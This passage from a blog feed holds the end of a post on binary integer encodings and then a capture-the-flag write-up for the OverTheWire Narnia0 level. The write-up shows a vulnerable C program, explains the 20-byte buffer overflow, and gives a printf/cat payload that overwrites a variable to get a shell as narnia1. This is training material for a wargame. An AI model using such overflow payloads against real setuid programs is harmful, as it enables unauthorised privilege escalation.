\[B2U_k([x_{k-1}, x_{k-2}, \ldots, x_{0}]) = U2T_k(B2U_w([x_{w-1}, x_{w-2}, \ldots, x_0])\mod 2^k)\]</p>]]></content><author><name></name></author><summary type="html"><![CDATA[For vector \(\vec{x} = [x_{w-1}, x_{w-2}, \ldots, x_0]\) \[B2U_{w}(\vec{x}) \stackrel{.}= \sum_{i=0}^{w-1} x_i2^i\] \[B2T_{w}(\vec{x}) \stackrel{.}= -x_{w-1}2^{w-1} + \sum_{i=0}^{w-2} x_i2^i\] \[B2O_{w}(\vec{x}) \stackrel{.}= -x_{w-1}(2^{w-1} - 1) + \sum_{i=0}^{w-2} x_i2^i\] \[B2S_{w}(\vec{x}) \stackrel{.}= (-1)^{x_{w-1}} \cdot \left(\sum_{i=0}^{w-2} x_i2^i \right)\] \[U2T_{w}(u) = \begin{cases}u, &amp; u\leq \text{TMax}_w\\ u-2^w, &amp; u&gt;\text{TMax}_w\end{cases}\]]]></summary></entry><entry><title type="html">Solution for Narnia0: OverTheWire</title><link href="/2024/04/02/narnia1.html" rel="alternate" type="text/html" title="Solution for Narnia0: OverTheWire" /><published>2024-04-02T00:00:00+00:00</published><updated>2024-04-02T00:00:00+00:00</updated><id>/2024/04/02/narnia1</id><content type="html" xml:base="/2024/04/02/narnia1.html"><![CDATA[<h1 id="code">Code</h1>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="c1">
</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="c1">
</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
    <span class="kt">long</span> <span class="n">val</span><span class="o">=</span><span class="mh">0x41414141</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Correct val's value from 0x41414141 -&gt; 0xdeadbeef!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Here is your chance: "</span><span class="p">);</span>
    <span class="n">scanf</span><span class="p">(</span><span class="s">"%24s"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"buf: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">buf</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"val: 0x%08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">val</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="n">val</span><span class="o">==</span><span class="mh">0xdeadbeef</span><span class="p">){</span>
        <span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"WAY OFF!!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>

<h1 id="behaviour-of-this-code">Behaviour of this code</h1>

<p>Initalize a variable of 4 bytes named <code class="language-plaintext highlighter-rouge">val</code> with value <code class="language-plaintext highlighter-rouge">0x41414141</code> and define a buffer of 20 bytes named <code class="language-plaintext highlighter-rouge">buf</code>.
Write 24 bytes to <code class="language-plaintext highlighter-rouge">buf</code>. If <code class="language-plaintext highlighter-rouge">val</code> has the value <code class="language-plaintext highlighter-rouge">0xdeadbeef</code>, then escalate priviliege to that of <code class="language-plaintext highlighter-rouge">narnia1</code> and spawn a shell.
Otherwise exit the program with error.</p>

<h1 id="vulnerability">Vulnerability</h1>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>** Key Information **
val:  4 bytes
buf: 20 bytes
scanf(): write 24 bytes into buf.
</code></pre></div></div>

<p>On line number <code class="language-plaintext highlighter-rouge">10</code>, the scanf function takes in 24 bytes into <code class="language-plaintext highlighter-rouge">buf</code>. However, <code class="language-plaintext highlighter-rouge">buf</code> is only 20 bytes. The remaining 4 bytes overflow and ovewrite the subsequent variable, <code class="language-plaintext highlighter-rouge">val</code>.</p>

<h1 id="exploitation">Exploitation</h1>

<ol>
  <li>Fill <code class="language-plaintext highlighter-rouge">buf</code> with 20 bytes of characters.</li>
  <li>Fill the rest with <code class="language-plaintext highlighter-rouge">0xefbeadde</code>(Little Endian).</li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">printf</span> <span class="s2">"%020x""</span><span class="se">\x</span><span class="s2">efbeadde"</span> | /narnia/narnia0 
</code></pre></div></div>

<p><strong>Result</strong>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Correct val's value from 0x41414141 -&gt; 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ﾭ�
val: 0xdeadbeef
</code></pre></div></div>

<p>We changed <code class="language-plaintext highlighter-rouge">val</code> to <code class="language-plaintext highlighter-rouge">0xdeadbeef</code> successfully. However, the shell did not spawn. This is because we need to read from the standard input. we use <code class="language-plaintext highlighter-rouge">cat</code> to do this.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="o">(</span><span class="nb">printf</span> <span class="s2">"%020x</span><span class="se">\x</span><span class="s2">ef</span><span class="se">\x</span><span class="s2">be</span><span class="se">\x</span><span class="s2">ad</span><span class="se">\x</span><span class="s2">de"</span><span class="p">;</span> <span class="nb">cat</span><span class="o">)</span> | ./narnia0
Correct val<span class="s1">'s value from 0x41414141 -&gt; 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ﾭ�
val: 0xdeadbeef
whoami
narnia1
</span></code></pre></div></div>

<p>Done.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -&gt; 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&amp;buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; } Behaviour of this code Initalize a variable of 4 bytes named val with value 0x41414141 and define a buffer of 20 bytes named buf. Write 24 bytes to buf. If val has the value 0xdeadbeef, then escalate priviliege to that of narnia1 and spawn a shell. Otherwise exit the program with error. Vulnerability ** Key Information ** val: 4 bytes buf: 20 bytes scanf(): write 24 bytes into buf. On line number 10, the scanf function takes in 24 bytes into buf. However, buf is only 20 bytes. The remaining 4 bytes overflow and ovewrite the subsequent variable, val. Exploitation Fill buf with 20 bytes of characters. Fill the rest with 0xefbeadde(Little Endian). $ printf "%020x""\xefbeadde" | /narnia/narnia0 Result: Correct val's value from 0x41414141 -&gt; 0xdeadbeef! Here is your chance: buf: 00000000000000000000ﾭ� val: 0xdeadbeef We changed val to 0xdeadbeef successfully. However, the shell did not spawn. This is because we need to read from the standard input. we use cat to do this. $ (printf "%020x\xef\xbe\xad\xde"; cat) | ./narnia0 Correct val's value from 0x41414141 -&gt; 0xdeadbeef! Here is your chance: buf: 00000000000000000000ﾭ� val: 0xdeadbeef whoami narnia1 Done.]]></summary></entry></feed>